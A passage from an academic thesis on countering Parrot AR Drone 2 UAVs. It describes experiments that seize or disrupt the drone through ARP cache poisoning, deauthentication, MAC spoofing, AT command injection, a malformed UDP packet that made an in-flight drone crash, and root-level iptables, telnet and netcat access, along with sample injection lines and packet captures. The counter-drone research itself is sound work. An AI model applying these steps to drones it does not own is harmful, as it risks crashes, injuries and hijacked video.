A follow-on from Deauthentication was the notion of applying ARP cache poisoning to
take control of the Parrot. For devices to communicate on a network, address resolution
is used, to ensure that the correct messages are being sent to the correct devices.
Address resolution is achieved in wireless networks using an Address Resolution
Protocol table (ARP table), which is a matching of IP addresses on the network to MAC
addresses of the physical devices. To ensure this table is accurate, ARP packets are sent
at intervals to update the matchings. Any device on the network can send requests to
determine the matchings, and update them. ARP cache poisoning is the term used when
the ARP table is changed to falsify which MAC address the IP address correspond to,
allowing data to be intercepted and possibly altered before reaching its intended
destination. As such MAC address pairing is not an effective security feature, as any
device that is connected to the network can query and update the ARP table to
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circumvent the filter. Thus the potential use of ARP cache poisoning is twofold, to gain
control over the Parrot, and to remove the MAC address pairing feature.

To achieve ARP cache poisoning for the Parrot and controller, a Python script was
developed using the built-in arpcachepoison tool packaged with scapy, included in
Appendix C. The arpcachepoison tool requires three points of information, the IP
address of the target to poison, the IP of the MAC to be spoofed and the interval in
which to send packets. The first task was to determine the IP and MAC address of the
controller device. The inbuilt arping tool from scapy was used in a Python script to scan
the network and retrieve IP address to MAC address resolutions. The Parrot and
controller IP addresses are then passed into the arpcachepoison tool, which successfully
altered the ARP table, informing the Parrot that the controllers IP address resolved to the
test machines MAC address.

After the ARP poison attack, any traffic being sent to the controller is redirected to the
test machine, this disconnects the control and video ports from the controller, allowing
the test machine to open the video stream; similarly to when the controller is deauthenticated from the Parrot. During experimentation, it was found that the controller
would send an ARP request to resolve the poison attack between every 5 and 10 seconds
after the cache had been poisoned. When the ARP table was updated and restored to its
proper configuration, the test machine would be locked out of control and video. To
allow for further mitigations to be applied the interval on the arpcachepoison was set to
5 seconds, meaning the falsified ARP packet was sent every 5 seconds, this by itself
could be declared a form of mitigation, as it denies the controller from accessing the
Parrot, similarly to the how Deauthentication was used. Compared to the
Deauthentication method however, poisoning the ARP cache is a more subtle attack.
While the same alert messages are displayed on the controller for both attacks, the
Deauthentication attack also requires the controller user to restart their application and
then lands the Parrot before control is regained, while the ARP cache poison method
reconnects the device once the poisoned table is reverted to its original form.

ARP cache poisoning successfully allowed interaction with the Parrot while being
paired to a controller device preventing control and video being sent to the controller,
thus proving H5, additionally this proves H6, as multiple methods of control
manipulation have been identified. However ARP cache poisoning method is limited in
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the ability to apply further mitigations, as it does not remove the MAC address pairing,
failing to prove H10. Further examination of command injection, particularly the MAC
un-pair command was undertaken in an attempt to remove the MAC address pairing to
allow for control to be manipulated while subverting the security feature of the Parrot.
4.3.1.4 Command Injection
Based on analysis of the Parrots network connection captures, for command injection to
be successful a number of conditions must be met. The Parrots onboard controller
ignores commands that do not have the correct sequence number attached; the
commands must also originate from port 5556. Additionally, the possibility of MAC
address pairing requires a method of overcoming the pairing to allow command
injection. The ability to inject commands against the Parrot would allow manipulation
of the device, and a level of control. Noted from the network captures and confirmed in
Parrot Developers Guide, the sequence numbering travels in ascending order, where
higher number commands have precedence, additionally, using a sequence number of
one has precedence over all commands currently being sent. For command injection, the
sequence number 1 was tied to all AT commands. The packets for command injection
were crafted in Python using scapy, the source port was set to 5556 to match the
requirements of the Developers Guide. Testing found that UDP packets not originating
from port 5556 were ignored, while packets originating from port 5556 were
acknowledged, this behaviour is depicted in Appendix B.

With the required conditions for each command injection accounted for, a Python script
was developed to test if commands could be injected into the command network stream,
and the behaviour of these commands, this is depicted in Appendix C. Figure 17 shows
that arbitrary commands could be injected into the control stream; however they were
ignored had no affect on the Parrot. This was expected behaviour, as the command was
arbitrary. To examine if this behaviour would differ, a documented AT command was
injected into the control stream. Sending a documented AT command resulted in the
command being ignored, the same behaviour as an arbitrary command; this is shown in
Figure 16. To determine if this behaviour was due to a controller already sending control
commands to the Parrot, the controller was disconnected, and the command was sent to
the device. The command executed successfully, repeatedly, showing that the Parrot
does not accept commands from multiple devices simultaneously, despite the correct
syntax and requirements. It was theorised that this behaviour must be handled by the
onboard control software, to prevent multiple devices sending commands to the Parrot
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simultaneously. To overcome this problem, two hypotheses were proposed depicted in
Figure 18.
AT*CONFIG=1,”test”,”optionsoptions”
AT*CONFIG=2,”test”,”optionsoptions”
AT*CONFIG=3,”test”,”optionsoptions”
AT*CONFIG=4,”test”,”optionsoptions”
AT*CONFIG=5,”test”,”optionsoptions”
AT*CONFIG=6,”test”,”optionsoptions”
AT*CONFIG=7,”test”,”optionsoptions”
AT*CONFIG=8,”test”,”optionsoptions”
AT*CONFIG=9,”test”,”optionsoptions”
AT*CONFIG=10,”test”,”optionsoptions”

Figure 16: Details of arbitrary command injection
To test H11, “Can the Parrots onboard controller program be disabled to allow for
command execution?” an experiment was developed to understand what behaviour
would occur if the onboard controller program was disabled mid flight. It was found
that the power to the Parrot’s motors ceased immediately, causing the Parrot to fall
drastically to the ground. At a high enough altitude, this would severely damage the
Parrots operability. Additionally, for control to be regained, the Parrot required a power
cycle to restart the controller program. This experiment disproved the ability of
disabling the control program to issue commands directly to the device, thus the null
hypothesis H0 has been proven for H11. However, this experiment provided a method
that would reliably disable a Parrot, preventing control of the device, proving H5.
This mitigation was scripted using Python to increase its speed, and is attached in
Appendix C.

H12, “Can the Parrots control link be disabled to allow for command execution?” was
tested using both the Deauthentication method and the ARP cache poisoning method.
When the controller was not active, commands could be executed from another device,
thus proving H12, and H5. This approach was taken to test the viability of the identified
useful AT commands.
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No.
5697
5712
5725
5734
5754
5765
5791
5795
5807
5828
5843
5869
5875
5882
5894
5897
5925
5949
5957

Time
33.732829
33.799593
33.863376
33.928453
34.058669
34.124084
34.254256
34.320635
34.451675
34.579980
34.646791
34.779586
34.824928
34.845760
34.971471
35.036564
35.171968
35.298152
35.366094

Source
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.4
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1

Destination
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.1
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2

Protocol
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP

Length
765
765
765
765
765
765
765
765
765
765
765
765
88
765
765
765
765
765
765

Info
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source
Source

port:
port:
port:
port:
port:
port:
port:
port:
port:
port:
port:
port:
port:
port:
port:
port:
port:
port:
port:

sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
freeciv Destination port: freeciv
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp
sgi-esphttp Destination port: sgi-esphttp

Figure 17: Network capture of control commands being ignored
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Hypothesis

Related Research Question

H11: Can the Parrots onboard controller program be
disabled to allow for command execution?
H12: Can the Parrots control link be disabled to
allow for command execution?

RQ1-b
RQ1-b

Figure 18: Further generated Hypotheses
The identified commands include the video disable, GPS location and MAC un-pair
commands, the format of which is included as Appendix A. The command tested first
was video disable. Crafting the packet in a Python script with scapy, the AT command
sent to the Parrot disables the video stream, with the stream resuming once a request for
video on the port is issued; it is not a persistent video disable as first theorised. As the
ability to send commands at the Parrot relies on disconnecting the controller device
from the Parrot, the mitigation is of limited use, as the video stream will reconnect after
the connection to the controller is re-established, due to the disable being non-persistent.

Upon first inspection of the GPS AT commands, it was determined that the Parrot would
read the GPS location from the controller, however it is in fact the opposite, the
controller provides the GPS location to the Parrot with these AT commands. These
commands are used for the absolute control features of the controller, allowing the
Parrots controls to be issued in relation to north on the controller rather than north on
the Parrot. As such the initial perceived use of these commands; to find the location of
the controller, was proven to be incorrect. After finding the true purpose of these
commands, it was theorised that by sending these GPS AT commands at a parrot using
absolute control, could cause the controller to issue incorrect commands, as the facing
of the devices controls would be different. However, after determining that direct
commands were not capable of being injected into the control stream without first being
disconnected, these commands were deemed redundant, as the controller would simply
update the GPS co-ordinates upon reconnection.

Experimentation regarding the MAC un-pair command was justified as it could not be
assumed that all threatening Parrots are using the latest updated application, which
removed the MAC pairing feature. First, an attempt to communicate with the pair
activated Parrot was undertaken. Figure 19 shows that communication from a second
device is not possible while pairing is active, with the telnet session being dropped.
Thus, the ability to issue commands to a paired Parrot requires MAC address spoofing,
which involves altering a devices MAC address to an already associated MAC to
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impersonate that device.

Figure 19: Telnet Session to MAC Paired Parrot
The results of MAC address spoofing were interesting, being effective but somewhat
unreliable. A Python script was developed which ARP scanned the Parrots network,
retrieving the associated IP to MAC pairings of devices connected to the Parrot. The
MAC address of the controller was then spoofed, by changing the test machines MAC
address to the controllers MAC address, this script is included in Appendix C. Once the
MAC address is spoofed, the controller loses control and video from the Parrot, direct
connection was then attempted, using telnet to determine if circumvention was
achievable. It was found that direct connection is reliant on the control application on
the controller to be closed. When the controller loses control, the default behaviour
displays warning messages over the controllers interface, stating that the control and
video links have been lost; additionally the WiFi icon disappears from the interface.
Controller action is assumed to be restarting the application, and checking the WiFi
settings of the controller, however this cannot be verified using this research
methodology. If this occurs, a window of opportunity is presented for the test machine
to gain successful direct connections, and execute commands against the Parrot.
However, if the controller device attempts to reconnect, the test machines connection is
terminated, as the Parrot does not know which device to communicate with due to the
impersonation of the controller by the test machine, resulting in denial of service for
both the test machine and the controller. Meaning the window of opportunity for direct
connections to be achieved would differ depending upon the human factor of control, a
possible future research endeavour. As an aside, if the suggested behaviour does not
occur, and the controller waits for connection to re-establish passively; the Parrot will
depreciate its battery and emergency land, as connection will not be regained until the
test machine disconnects from the network.
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While connected to the Parrot using the MAC spoofing technique, the MAC address unpair command was sent against the Parrot. Under repeatable conditions, the MAC
address pairing was not removed by the command. Exploring the implementation of
MAC address pairing, it was found that iptables rules were being used to block all
traffic, apart from ICMP and traffic from the paired controllers MAC address to the
Parrot, shown in Appendix B. The MAC un-pairing AT command essentially activates a
clearing of these IP table rules. Attempting to flush the rules from the iptables chain to
remove the pairing resulted in locking out all network connections to the Parrot until a
power restart was undertaken. Therefore, to apply mitigations to a paired Parrot, the test
machine must maintain the spoofed MAC address, and be susceptible to connections
being interrupted by the controller attempting to regain control of the Parrot.

While theorised as effective, the identified AT commands proved less than adequate for
command injection. Due to the requirement of disabling the controller, and these
commands being temporary for the current connection, the ability to disable the video
stream, change the GPS coordinates and un-pair MAC addresses using AT commands
do not assist in answering H5 or H6.
However, as determined during detection research, using a UDP scan against port 5556
interrupted the control stream of the Parrot. Manipulating the control stream using a
UDP packet was identified as a potential form of control manipulation. To confirm these
results the scan was repeated 5 times against the Parrot, matching previously found
results. UDP scanning using nmap involves sending empty UDP packets at targeted
ports. To mimic this behaviour, a Python script was developed to craft an empty,
malformed UDP packet with scapy, and send this packet at the Parrot, this is included in
Appendix C. Sending this malformed UDP packet causes the control link on the Parrot
to be disabled, confirming that the scanning technique disables the control link, this is
depicted in Figure 20.
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No.

Time

Source

Destination

Protocol

Length

Info

3080

19.537945

192.168.1.1

192.168.1.2

TCP

1514

3081

19.538310

192.168.1.1

192.168.1.2

TCP

1514

3082

19.538695

192.168.1.1

192.168.1.2

TCP

1514

3083

19.539824

192.168.1.1

192.168.1.2

TCP

1514

3084

19.540310

192.168.1.1

192.168.1.2

TCP

1514

3085

19.540557

192.168.1.1

192.168.1.2

TCP

666

3086
3087
3088
3089
3090
3091
3092
3093
3094
3095

19.545790
19.547646
19.547680
19.645960
20.551879
21.561037
22.141759
22.574228
23.581641
24.555605

f8:1a:67:1c:7c:0f
Parrot_35:24:24
192.168.1.4
192.168.1.4
192.168.1.1
192.168.1.1
192.168.1.4
192.168.1.1
192.168.1.1
192.168.1.1

Broadcast
f8:1a:67:1c:7c:0f
192.168.1.1
192.168.1.1
192.168.1.2
192.168.1.2
224.0.0.251
192.168.1.2
192.168.1.2
192.168.1.2

ARP
ARP
UDP
UDP
ICMP
ICMP
MDNS
ICMP
ICMP
ICMP

42
42
42
42
71
71
81
71
71
71

personal-agent > 51398 [ACK] Seq=3718056 Ack=0 Win=5792
Len=1448 TSval=4294937260 TSecr=459059059
personal-agent > 51398 [ACK] Seq=3719504 Ack=0 Win=5792
Len=1448 TSval=4294937260 TSecr=459059059
personal-agent > 51398 [ACK] Seq=3720952 Ack=0 Win=5792
Len=1448 TSval=4294937260 TSecr=459059059
personal-agent > 51398 [ACK] Seq=3722400 Ack=0 Win=5792
Len=1448 TSval=4294937260 TSecr=459059059
personal-agent > 51398 [ACK] Seq=3723848 Ack=0 Win=5792
Len=1448 TSval=4294937260 TSecr=459059059
personal-agent > 51398 [PSH, ACK] Seq=3725296 Ack=0
Win=5792 Len=600 TSval=4294937260 TSecr=459059059
Who has 192.168.1.1? Tell 192.168.1.4
192.168.1.1 is at 90:03:b7:35:24:24
Source port: 41064 Destination port: freeciv
Source port: 41065 Destination port: freeciv
Destination unreachable (Port unreachable)
Destination unreachable (Port unreachable)
Standard query PTR _sane-port._tcp.local, "QM" question
Destination unreachable (Port unreachable)
Destination unreachable (Port unreachable)
Destination unreachable (Port unreachable)

Figure 20: Network capture of malformed UDP packet
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Testing involved sending the packet against the Parrot not in flight, for proof of concept,
then against the Parrot while in flight. Additionally, testing the source port of the packet
was undertaken, to determine if the result only occurred when the packet was sent from
a port other than 5556. Results show that the source port does not affect the result, with
the control stream being interrupted no matter the source port. While in flight, the Parrot
does not enter hover mode as expected, but instead starts drifting from where it last had
a connection. In the laboratory, this resulted in the Parrot crashing into a wall. The
malformed UDP packet experiment provides evidence towards H4, H5 and H6 being
proved.
4.3.1.5 Manipulating File System Utilities
Analysis of the Parrots file system uncovered a number of interesting applications
running. While IP tables is the default Linux firewall, its inclusion as interesting is
warranted; as the Parrot runs with root privileges, any connection to the device can
configure IP table rule sets. To experiment with this, an IP rule chain was developed and
executed on the Parrot included in Appendix C, with the intention of blocking the
controller sending commands to the Parrot. This was successfully implemented,
blocking the controller from controlling the Parrot. While tested only to drop all
incoming packets, the rule could be altered to limit only certain IP addresses to have
control, allowing the test machine to control the Parrot, while the controller’s access is
blocked.

As determined from initial inspection of the file system, the Parrot can have files sent to
and fro over the air. There are two methods of achieving this, the first using the ftp
server being managed by inet.d. This allowed direct ftp connections on port 21,
delivering its files into the /data/video/ directory, shown in Appendix B. The second
method is using netcat, another application installed by default on the Parrot. A netcat
connection can be created on the Parrot, to receive any data and store in the directory
the netcat instance is launched from, making it quicker to deliver files into particular
directories, such as where system binaries are located, this behaviour is shown in
Appendix B. As the Parrot is running an ARMv7 processor, any code to be run on the
device must be cross-compiled. A successful cross-compilation of simplistic C code was
achieved, pointing to the ability to send precompiled binaries at the device to update the
controller program, or modify the kernel.
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Experiments relating to manipulating utilities onboard the parrot, including iptables,
netcat and ftp were successful in altering the control of the Parrot, Thus proving H5 and
H6.
4.3.1.6 Summary
From these experiments, it was found that direct control manipulation of the Parrot is
possible, proving H5. Deauthentication and ARP cache poisoning can both be
successfully used to stop control of the Parrot for periods of time, by denying control to
the device until the battery drains, causing the device to emergency land. Direct
interaction with the Parrot is possible due to services such as ftp allowing customised
files to be dropped onto the Parrot and telnet allowing commands to be executed with
root privilege, being active. This provides the ability to disable the Parrots controller
program mid flight. Further interaction is possible due to utilities such as iptables being
active and configurable to block ports, and netcat, allowing communication to be
configured over the network for file transfer into specific directories.

Direct simultaneous command injection is not possible from observed results; any
command sent was ignored, even when sending from the required port with the correct
sequence number. However, by first preventing the ground controller and Parrot from
communicating using Deauthentication or ARP cache poisoning, direct commands using
the AT command structure could be issued. The identified useful commands proved to
be of negligible validity due to the lack of persistence between reconnections. Removal
of the MAC address pairing feature was not reliable, due to connection factors.
Removal of the MAC address pairing resulted in complete lockout of the Parrot.
Further, sending malformed UDP packets to the Parrot successfully disconnected the
control stream and caused the Parrot to behave erratically. Multiple methods of control
manipulation have been identified, proving H6.
4.3.2 Video
The video section details the methods and results of a series of experiments related to
interacting with the video stream of the Parrot. Experiments relating to direct video
connection and passive video capture are discussed, along with methods of preventing
the video stream reaching the ground controller.
4.3.2.1 Direct Video Connection
From analysis of connection captures, it was determined that a large amount of data was
being sent on port 5555 of the Parrot shown in Figure 22. Further inspection revealed
Page 54 of 91

this data to be the raw video stream from the Parrots active onboard camera,
encapsulated in a customised packet header, called PaVE. To determine if there was any
altering of the base H.264 codec from the PaVE header, an experiment was developed
to direct connect to the video port and see if the stream could be decoded. Using the
ffmpeg implementation of the H.264 codec and ffplay, the frontend player of ffmpeg,
the video stream was successfully opened and viewed from direct connection, shown in
Figure 21.

Figure 21: ffplay video stream access
To confirm that the video stream was using a base H.264 encoding, the experiment was
repeated using vlc, successfully opening the stream, further inspection of the captured
network packets confirmed base H.264 encoding, thus proving H8. When repeating this
experiment with a controller device connected to the Parrot, connecting to the Parrot to
open the video stream using the test machine causes the video stream on the controller
to freeze. Similar to behaviour observed previously when connecting multiple
controllers to the Parrot. Direct connection could be used as a form of mitigation by
denying the video stream to the controller, proving H9.

Page 55 of 91

No.
39

Time
0.215882

Source
192.168.1.1

Destination
192.168.1.2

Protocol
TCP

Length
1514

40

0.216258

192.168.1.1

192.168.1.2

TCP

1514

41

0.216758

192.168.1.1

192.168.1.2

TCP

1514

42

0.220890

192.168.1.1

192.168.1.2

TCP

1514

43

0.221261

192.168.1.1

192.168.1.2

TCP

1514

44
45

0.221633
0.222133

192.168.1.1
192.168.1.1

192.168.1.2
192.168.1.2

SIGCOMP
TCP

1514
1514

46

0.222506

192.168.1.1

192.168.1.2

TCP

839

47

0.243498

192.168.1.1

192.168.1.2

TCP

1514

48

0.243746

192.168.1.1

192.168.1.2

TCP

1514

49

0.244368

192.168.1.1

192.168.1.2

TCP

732

50

0.273653

192.168.1.1

192.168.1.2

TCP

1514

51

0.274146

192.168.1.1

192.168.1.2

TCP

1514

52

0.274161

192.168.1.1

192.168.1.2

TCP

793

53

0.307505

192.168.1.1

192.168.1.2

TCP

1514

54

0.308145

192.168.1.1

192.168.1.2

TCP

1514

55

0.308156

192.168.1.1

192.168.1.2

TCP

323

56

0.333958

192.168.1.1

192.168.1.2

TCP

1514

57
58
59

0.334246
0.337093
0.364078

192.168.1.1
192.168.1.1
192.168.1.1

192.168.1.2
192.168.1.2
192.168.1.2

TCP
SIGCOMP
TCP

1514
323
1514

Info
personal-agent > 49731 [ACK]
TSval=4294952092 TSecr=901767692
personal-agent > 49731 [ACK]
TSval=4294952092 TSecr=901767692
personal-agent > 49731 [ACK]
TSval=4294952092 TSecr=901767692
personal-agent > 49731 [ACK]
TSval=4294952092 TSecr=901767694
personal-agent > 49731 [ACK]
TSval=4294952092 TSecr=901767694

Seq=4345

Ack=0

Win=5792

Len=1448

Seq=5793

Ack=0

Win=5792

Len=1448

Seq=7241

Ack=0

Win=5792

Len=1448

Seq=8689

Ack=0

Win=5792

Len=1448

Seq=10137

Ack=0

Win=5792

Len=1448

personal-agent > 49731 [ACK] Seq=13033 Ack=0 Win=5792 Len=1448
TSval=4294952092 TSecr=901767694
personal-agent > 49731 [PSH, ACK] Seq=14481 Ack=0 Win=5792 Len=773
TSval=4294952092 TSecr=901767694
personal-agent > 49731 [ACK] Seq=15254 Ack=0 Win=5792 Len=1448
TSval=4294952095 TSecr=901767700
personal-agent > 49731 [ACK] Seq=16702 Ack=0 Win=5792 Len=1448
TSval=4294952095 TSecr=901767700
personal-agent > 49731 [PSH, ACK] Seq=18150 Ack=0 Win=5792 Len=666
TSval=4294952095 TSecr=901767700
personal-agent > 49731 [ACK] Seq=18816 Ack=0 Win=5792 Len=1448
TSval=4294952099 TSecr=901767721
personal-agent > 49731 [ACK] Seq=20264 Ack=0 Win=5792 Len=1448
TSval=4294952099 TSecr=901767721
personal-agent > 49731 [PSH, ACK] Seq=21712 Ack=0 Win=5792 Len=727
TSval=4294952099 TSecr=901767721
personal-agent > 49731 [ACK] Seq=22439 Ack=0 Win=5792 Len=1448
TSval=4294952103 TSecr=901767750
personal-agent > 49731 [ACK] Seq=23887 Ack=0 Win=5792 Len=1448
TSval=4294952103 TSecr=901767750
personal-agent > 49731 [PSH, ACK] Seq=25335 Ack=0 Win=5792 Len=257
TSval=4294952103 TSecr=901767750
personal-agent > 49731 [ACK] Seq=25592 Ack=0 Win=5792 Len=1448
TSval=4294952107 TSecr=901767783
[TCP segment of a reassembled PDU]
personal-agent > 49731 [ACK] Seq=28745
TSval=4294952111 TSecr=901767812

Ack=0

Win=5792

Len=1448
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60

0.364495

192.168.1.1

192.168.1.2

TCP

1514

61

0.364505

192.168.1.1

192.168.1.2

TCP

362

62

0.409072

192.168.1.1

192.168.1.2

TCP

1514

63

0.409733

192.168.1.1

192.168.1.2

TCP

1514

64

0.410110

192.168.1.1

192.168.1.2

TCP

687

65

0.441368

192.168.1.1

192.168.1.2

TCP

1514

66

0.443483

192.168.1.1

192.168.1.2

TCP

1514

67

0.445610

192.168.1.1

192.168.1.2

TCP

1514

68

0.445855

192.168.1.1

192.168.1.2

TCP

565

69

0.473060

192.168.1.1

192.168.1.2

TCP

1514

70

0.473237

192.168.1.1

192.168.1.2

TCP

1514

71

0.474728

192.168.1.1

192.168.1.2

1288

72

0.499304

192.168.1.1

192.168.1.2

RELOAD
Frame
TCP

73

0.499738

192.168.1.1

192.168.1.2

TCP

1514

74

0.500101

192.168.1.1

192.168.1.2

TCP

1319

1514

personal-agent > 49731 [ACK] Seq=30193 Ack=0 Win=5792 Len=1448
TSval=4294952111 TSecr=901767812
personal-agent > 49731 [PSH, ACK] Seq=31641 Ack=0 Win=5792 Len=296
TSval=4294952111 TSecr=901767812
personal-agent > 49731 [ACK] Seq=31937 Ack=0 Win=5792 Len=1448
TSval=4294952116 TSecr=901767839
personal-agent > 49731 [ACK] Seq=33385 Ack=0 Win=5792 Len=1448
TSval=4294952116 TSecr=901767839
personal-agent > 49731 [PSH, ACK] Seq=34833 Ack=0 Win=5792 Len=621
TSval=4294952116 TSecr=901767839
personal-agent > 49731 [ACK] Seq=35454 Ack=0 Win=5792 Len=1448
TSval=4294952120 TSecr=901767884
personal-agent > 49731 [ACK] Seq=36902 Ack=0 Win=5792 Len=1448
TSval=4294952120 TSecr=901767884
personal-agent > 49731 [ACK] Seq=38350 Ack=0 Win=5792 Len=1448
TSval=4294952120 TSecr=901767884
personal-agent > 49731 [PSH, ACK] Seq=39798 Ack=0 Win=5792 Len=499
TSval=4294952120 TSecr=901767884
personal-agent > 49731 [ACK] Seq=40297 Ack=0 Win=5792 Len=1448
TSval=4294952124 TSecr=901767919
personal-agent > 49731 [ACK] Seq=41745 Ack=0 Win=5792 Len=1448
TSval=4294952124 TSecr=901767919
ACK
personal-agent > 49731 [ACK] Seq=44415 Ack=0 Win=5792 Len=1448
TSval=4294952128 TSecr=901767947
personal-agent > 49731 [ACK] Seq=45863 Ack=0 Win=5792 Len=1448
TSval=4294952128 TSecr=901767947
personal-agent > 49731 [PSH, ACK] Seq=47311 Ack=0 Win=5792 Len=1253
TSval=4294952128 TSecr=901767947

Figure 22: Network stream of Port 5555
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4.3.2.2 Passive Video Capture
After the results of direct connection, a new hypothesis was identified, to attempt to
access the video stream of the Parrot with the test machine, without disconnecting the
controller, shown in Figure 23. A number of experiments were developed to test this
hypothesis. The first experiment undertaken involved taking network captures and
attempting to reconstruct them in real time, similar in method to a traditional man in the
middle attack, whereby the data is siphoned during transit between the two devices.
This had differing levels of effectiveness; to decode the stream from a network capture
directly from Wireshark required a saved network capture file, which could not be
achieved in real time. While this is not ideal, it does however give the ability to
reconstruct the video after an incident has taken place to act as evidence, for storage and
later analysis if necessary, proving H13, while also providing evidence towards H7.
Hypothesis

Related Research Question

H13: Can the Parrot’s video stream be viewed without interrupting the ground controller

RQ2

Figure 23: Further identified Hypothesis
There are a number of tools that use packet headers to reconstruct images and text files
in real time directly out of network captures, including driftnet and tcpextract. These
tools however, are quite dated, and do not offer video reconstruction. Using named
pipes as buffers could be a solution to the need for real-time reconstruction, with a
theorised flow diagram detailed in Figure 24. However pursuing a real-time
reconstruction method was deemed too large a task for this thesis, while other proposed
methods had not yet been explored.

Mitigation Device
Video

Named

stream

Pipe

Decoder

Video
Player

Buffer

Figure 24: Theorised real-time construction flow diagram
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The second experiment looked at the applications running on the Parrot, in particular
inetd, netcat and iptables to develop a method of splitting the video stream to send to
multiple devices simultaneously. On the Parrot, inetd is used to manage the FTP server,
while netcat, as mentioned previously can offer similar file transferring capability. IP
tables is the default Linux firewall application, a particular module in iptables named
TEE seemed promising, as it allows for all traffic either on a network interface, or an
entire device to be cloned and sent to another local address. Meaning an exact copy of
the network stream is sent to another device in real time. The TEE module seemed a
more dependable method of passive network harvesting, compared to capturing the
network traffic “in the air”, as all packets will be sent to the test machine without the
need for a dedicated interface on the test machine to be active, capturing this traffic.

Through further exploration of the Parrot, it was found that the version of iptables
onboard the Parrot contained the TEE module, meaning this method could be achieved.
However, the kernel module allowing this feature was not included in the Parrots
2.6.32.9 custom kernel. Further research into the TEE module found that the TEE
module became a standard feature rather than an extended feature in kernel 2.6.35.
Meaning a separate kernel module was not generated for the TEE module for kernels
after 2.6.35. Additionally, kernel 2.6.32 is no longer supported by IP tables, with kernel
module compilation scripts retroactively altered to prevent the TEE module from being
generated. This led to two identified methods to get this module onto the Parrot. Either
compiling a new kernel and deploying it on the Parrot, or compiling the kernel module
from source.

As the aim of this experiment was to develop a method which could be deployed to the
Parrot for passive monitoring without interrupting the Parrots normal operations;
deploying a new kernel to the Parrot would be counter to this objective. Deploying and
installing a new kernel would most certainly interrupt normal operation of the Parrot,
and take a significant amount of time, longer than the battery life of the Parrot while in
flight. Thus the development of the TEE kernel module for deployment was chosen.

Further research into the Parrot kernel modules, revealed that there are different kernel
versions running on the Parrot AR drone v2s. For the kernel module to be loaded into
the Parrot kernel, the extraversion must match, meaning the module must be cross
compiled against the Parrots kernel headers, containing the matching extraversion
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number. Documentation is lacking upon which Parrots are using differing kernel
modules, however as of the time of writing, the kernel has not been updated in 2 years
(yvesmarie, 2012). Meaning it will be possible to use mitigations against any Parrot
produced since April 2012, or whose kernel has been updated during that time, as the
environment used to generate the module uses the latest kernel extraversion, 2.6.32.9gbb4d210.

Development of the kernel module involved establishing a cross compiling environment
for ARMv7 embedded devices. The linaro toolchain was used to cross compile the
Parrot kernel retrieved from https://devzone.parrot.com/projects/list_files/oss-ardrone2,
which could subsequently be used for kernel module compilation. However, when
compiling the custom Parrot kernel, a number of fatal errors occurred. To ensure this
was not a toolchain error, crosstool-ng a toolchain generator was used to create a custom
toolchain specific for ARMv7 devices. The custom toolchain was then used to cross
compile the Parrots kernel, also failing. Both toolchains were used to cross compile a
generic Linux kernel with the same version as the Parrot, being 2.6.32.9, coupled with
the Parrots kernel configuration file; the kernel was successfully cross compiled using
both toolchains. Further research into open source development of the Parrot detailed
difficult in cross compiling the kernel provided by Parrot, with generic kernels being
used to build modules. As such the cross compiled generic 2.6.32.9 kernel, with the
Parrot kernel configuration file generated by the custom tool-chain was used for kernel
module development. To test that the binaries compiled with the tool-chain would
operate on the Parrot, a simple C program was cross compiled, and successfully run on
the Parrot. The TEE modules C file was retrieved from (Engelhardt, J., 2010), with a
makefile created to generate the TEE module. However, this was unsuccessful due to a
range of errors arising from the module code. This experiment was unsuccessful in
providing evidence for H13.
4.3.2.3 Video Prevention
Preventing the video from reaching the controller was tested using a number of
experiments. As a side effect of using Deauthentication and ARP cache poisoning to
limit control to the controller, the video stream is also prevented from reaching the
ground controller, proving H9. Further, utilising the iptables utility, an iptables rule
chain was deployed against the Parrot, which blocked outgoing video traffic from the
video port 5555, proving H9; depicted in Appendix C. Similar to the control port
manipulation using iptables, the iptables rule can be altered to allow traffic to be sent to
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only the IP address of the test machine, assisting in proving H7.
4.3.2.4 Summary
In summary, experiments undertaken successfully proved H7, H8, H9 and H13. Direct
interaction using ffplay and vlc with the Parrot proved H7, additionally proving H8, with
examination of network captures further proving H8. H13 was successfully proven by
reconstructing the video stream from a saved network capture. Using Kernel module
experiments to achieve real-time video reconstruction did not assist in answering H13. A
theorised method was proposed, which can be explored in further research to achieve
simultaneous real time video capture.

4.4 Discussion of Results
The results in this research have been mainly positive, particularly in relation to
detection research. The method explored involved developing a data-link signature,
based on customising effective existent scanning techniques. The detection method can
successfully detect Parrots entering the range of the detection device. This result is
useful, as it shows that characteristics of a small UAVs data link can be used to detect
the UAV, from which further actions can be taken against the UAV.

The majority of experiments explored the possibility of implementing mitigations
against the Parrot, through exploiting a combination of 802.11 network vulnerabilities,
device misconfigurations and characteristics of the device. In regards to control based
mitigation

methods,

the

generic

network

vulnerability

methods,

such

as

Deauthentication, ARP cache poisoning and MAC address spoofing were successful in
limiting control. Misconfigurations present by design on the Parrot, including no
encryption on the network and higher than necessary user privilege, proved useful in
manipulating the control of the Parrot. Methods aimed at leveraging the command
structure of the Parrot were less successful, due to the Parrot ignoring control
commands issued from multiple sources. This resulted in requiring the controller to be
disconnected from the parrot, to allow these commands to be executed; limiting their
effectiveness due to the non-persistent result of the commands. Further examination of
the control stream resulted in other methods of limiting control of the Parrot, due to a
